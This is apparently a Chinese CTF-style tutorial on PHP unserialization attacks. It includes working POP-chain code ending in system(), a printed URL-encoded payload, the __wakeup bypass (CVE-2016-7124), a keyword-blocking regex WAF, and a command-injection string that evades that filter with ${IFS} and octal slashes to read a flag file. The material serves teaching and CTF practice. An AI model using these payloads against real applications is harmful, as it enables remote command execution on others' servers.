简而言之,序列化和反序列化就是数据类型的转换,序列化是将对象,数组等转换为便于传输的形式,例如:JSON、XML等。而反序列化则是序列化逆向的过程。
一、序列化和反序列化
1.PHP序列化
例如:
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
//var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=new ease("ping",array('1234','1111'));
$s= @serialize($ctf);
echo $s;
?>
它会输出,这是序列化的结果:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:2:{i:0;s:4:"1234";i:1;s:4:"1111";}}
O:object代表对象,后面4代表类名,2说明有两个属性
a:array代表是数组,后面的3说明有三个属性
i:代表是整型数据int,后面的0是数组下标
s:代表是字符串,后面的4是因为xiao长度为4
@serialize(Object)是序列化函数,它可以将对象或数组序列化成如上的形式。
2.PHP反序列化
反序列化是将序列化转换后的形式,再重新转换成对象或数组。
例如:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
@unserialize(Object) 这是反序列化函数,将序列化字符串转换成原来的数组或对象。
调用该反序列化函数时,将其转换为相应的对象类或数组,然后调用__wakeup()函数,最后调用__destruct()函数。
二、PHP常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
1、__invoke()
当尝试将对象当作函数调用时候,将会自动调用该函数。
案例:pop base mini moe
分析以下代码,可以知道有两个类。首先是A类,带两个私有变量,和一个销毁时触发的__destruct()函数,观察该函数,发现私有变量a可以作为函数调用。其次是B类带有一个私有变量和__invoke函数,说明对象B可以作为函数被调用,而其私有变量b也可以作为函数被调用,所以可以得到私有变量a应该赋值对象B。
所以此时我们应该想到,变量a赋值的应该是对象b,变量evil应该赋值的是需要执行的命令,而对象B的私有变量b应该赋值一个可执行命令的函数,可以很容易想到php的system函数。那该怎么赋值呢? 这里采用了__construct赋值的方法,将对象B赋值给a,运行代码。
<?php
class B {
private $b="system";
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
class A {
// 注意 private 属性的序列化哦
private $evil="ls";
// 如何赋值呢
private $a;
public function __construct($x){
$this->a=$x;
}
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
$x=new B();
$a=new A($x);
echo serialize($a);
echo urlencode(serialize($a));
?>
得到序列化对象的URL编码。
O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D
2、__toString()
当对象被当作字符串执行的时候,会自动调用该函数。
案例:对象被当作字符串时,自动调用该方法。
<?php
class Person{
private $name = "";
function __construct($name = ""){ // 定义构造函数
$this->name = $name;
}
public function say(){ // 定义公共方法
echo "hello,".$this->name."!";
}
function __toString(){ // 定义获取字符串的魔术方法
return "__toString:".$this->name.'!';
}
}
$blog = new Person('blog');
$blog->say(); // 输出:hello,blog!
echo $blog; // 输出:__toString:blog!
?>
案例:对象作为字符串, 成为函数的传参时,自动调用该方法。
对象class002的内部变量sec赋值对象class003,在__set方法被被调用时候,执行了对象class003的evvval方法,并将对象class003作为eval函数的参数进行传递,eval函数执行的是php代码片段,要求是字符串,此时对象被当作字符串,自动调用__tostring()方法,返回system("set");给eval做参数。
class class002 {
private $sec;//赋值class3
public function __construct($x){
$this->sec=$x;
}
public function __set($a, $b)
{
//echo $this->$b;
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);//调用类class003的函数,
}
}
class class003 {
public $mystr='system("set");';
public function evvval($str)
{
eval($str);
}
public function __tostring()
{
return $this->mystr;
}
}
3、__set()
该函数有两个参数,第一个参数是要赋值的参数名,第二个参数是要给第一个参数赋的值,在调用对象未定义参数和未初始化的参数时候,将自动调用该函数。
案例:调用未初始化变量,自动调用该函数
<?php
class Person{
private $name;private $sex;private $age;
function __get($property_name){
echo '在直接获取私有属性值得时候,自动调用了这个__get()方法<br/>';
if(isset($this->$property_name)){
return ($this->$property_name);
}else{
return NULL;
}
}
function __set($property_name,$value){
echo '在直接设置私有属性值得时候,自动调用了这个__set()方法为私有属性赋值<br/>';
$this->$property_name=$value;
}
}
$p1=new Person();
$p1->name='张三';$p1->sex='男';$p1->age=20;
echo '姓名:'.$p1->name.'<br/>';
echo '性别:'.$p1->sex.'<br/>';
echo '年龄:'.$p1->age.'<br/>';
案例:调用未定义变量,自动调用该函数
对象class001在被当作函数调用时,进行了对对象a的内部未定义变量的传参操作,因为对象a赋值对象class002,所以自动调用class002的set方法。
class class001 {
public $payl0ad="dangerous";
public $a;//赋值class2
public function __construct($x){
$this->a=$x;
}
public function __invoke()
{
$this->a->payload = $this->payl0ad;//调用set方法
}
}
class class002 {
private $sec;
public function __construct($x){
$this->sec=$x;
}
public function __set($a, $b)
{
//echo $this->$b;
$this->$b($this->sec);
}
public function dangerous($whaattt)
{
$whaattt->evvval($this->sec);//调用类class003的函数,
}
}
三、PHP绕过
绕过__wakeup(CVE-2016-7124)
利用方式:
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
例如:
<?php
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __wakeup(){
$this->a='666';
}
public function __destruct(){
echo $this->a;
}
}
如果执行
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行
unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc。则实现绕过__wakeup()函数。
正则匹配绕过
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
对于以上正则匹配:/(\||&|;| |\/|cat|flag|tac|php|ls)/
分隔符
/
:这是正则表达式的开始和结束符。在 PHP 中,通常使用/
来包围正则表达式。括号
()
:这些括号用于创建一个捕获组,意味着匹配的内容将被捕获,可以在后续的处理(比如替换或提取)中使用。匹配的内容:
\|
:匹配竖线字符|
。因为|
是一个特殊字符,表示“或”(在正则中用作选择),所以使用\
来转义它。&
:匹配和字符&
,没有特殊含义,所以可以直接使用。;
:匹配分号;
,也没有特殊含义,直接使用。- (空格):匹配一个空格字符。
\/
:匹配斜杠字符/
。虽然在大多数情况下不需要转义,但为了保持一致性,这里采取了转义的方式。cat
:匹配字符串cat
,没有特殊含义。flag
:匹配字符串flag
,在安全上下文中常见,表示一个目标或标志。tac
:匹配字符串tac
,像cat
的反向显示。php
:匹配字符串php
,指代 PHP 编程语言。ls
:匹配字符串ls
,一个 Unix/Linux 命令,用于列出目录内容。
绕过原理:寻找能够实现同样效果的字符进行代替的操作。
对于字符串,可以使用中间加""代表空字符进行绕过。
对于空格,可以采用Shell内置变量${IFS}(它是在 Unix 和 Linux 中的一个特殊环境变量仅对使用Shell命令有效)。
对于斜杆,可以使用八进制编码的方式进行绕过。
案例:
对于上面的正则过滤代码,我们可以通过特定的方法绕过进行绕过。这里使用单引号的原因是因为在PHP中单引号会被直接认为成字符串,不会进行解析,如果使用双引号将造成${IFS}报错,因为PHP不存在该常量,即是无法解析。
$args='c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'
这对PHP来说不会进行任何处理,会被认为纯字符串。但因为这个字符串是会被送到后台执行系统命令,对于Linux系统来说,空字符会被忽略,${IFS}可以被解析成空格,通过printf在Shell输出的八进制字符会被自动转换成斜杠/。